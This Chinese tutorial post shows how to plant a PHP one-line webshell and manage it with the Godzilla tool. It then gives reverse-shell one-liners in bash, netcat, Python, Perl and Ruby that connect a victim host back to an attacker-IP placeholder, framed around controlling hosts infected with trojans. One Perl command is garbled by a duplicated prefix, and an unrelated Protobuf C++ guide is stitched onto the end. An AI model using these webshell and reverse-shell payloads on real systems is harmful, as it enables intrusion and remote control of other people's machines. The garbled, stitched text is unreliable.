Linux操作系统05--哥斯拉 反弹shell

哥斯拉

1.在 /var/www/html下编写一句话木马

 2.启动哥斯拉

3.目标>添加 在URL中输入木马网址,有效载荷、加密器选择php

 

 4.添加

 5.目标访问后,鼠标点击,右键即可查看受害者主机信息

反弹shell

什么是反弹shell?

  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

bash

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

bash -i >& /dev/tcp/攻击主机ip/port 0>&1                                   //port 为攻击主机端口号

nc(netcat)反弹

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

nc -e /bin/bash 攻击主机ip port

 python

在攻击主机上执行端口监听:

nc -lvvp port                               //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Perl

方法一

perl -e 'use perl -e 'use Socket;$i="攻击机ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"攻击机ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

 Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

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对于 C++,使用 Protobuf 2.5.0 的步骤如下: 1. 下载和安装 Protobuf 2.5.0: - 前往 Protobuf 的 GitHub 仓库:https://github.com/protocolbuffers/protobuf/releases/tag/v2.5.0 - 根据你的操作系统和需求,下载适合的版本。 - 按照官方文档中的指示,安装 Protobuf。 2. 定义消息类型: - 使用 Protocol Buffers 的语法在 .proto 文件中定义数据结构和字段。 3. 编写 .proto 文件: - 创建一个 .proto 文件,将消息类型的定义保存在其中。 - 例如,创建一个名为 `person.proto` 的文件,包含以下内容: ``` syntax = "proto2"; package mypackage; message Person { required string name = 1; required int32 age = 2; optional string email = 3; } ``` 4. 生成 C++ 代码: - 使用 Protobuf 的编译器将 .proto 文件编译成 C++ 代码。 - 打开命令行终端,导航到包含 .proto 文件的目录,并执行以下命令: ``` protoc -I=<proto文件所在目录> --cpp_out=<生成代码的目标目录> <proto文件名>.proto ``` 这将生成一个或多个 .pb.h 和 .pb.cc 文件,包含了用于序列化和反序列化消息的 C++ 代码。 5. 编写 C++ 应用程序: - 在你的 C++ 项目中,包含生成的 .pb.h 文件,并使用其中定义的消息类型和函数来序列化和反序列化消息。 - 例如,使用生成的代码来创建和操作 Person 消息: ```cpp #include "person.pb.h" // 创建 Person 消息对象 mypackage::Person person; person.set_name("John"); person.set_age(25); person.set_email("john@example.com"); // 序列化消息 std::string serialized_data = person.SerializeAsString(); // 反序列化消息 mypackage::Person deserialized_person; deserialized_person.ParseFromString(serialized_data); // 访问消息字段 std::string name = deserialized_person.name(); int32_t age = deserialized_person.age(); std::string email = deserialized_person.email(); ``` 这是一个简单的示例,展示了如何在 C++ 中使用 Protobuf 2.5.0。根据你的需求,可能还需要了解更多 Protobuf 2 的高级功能和用法。
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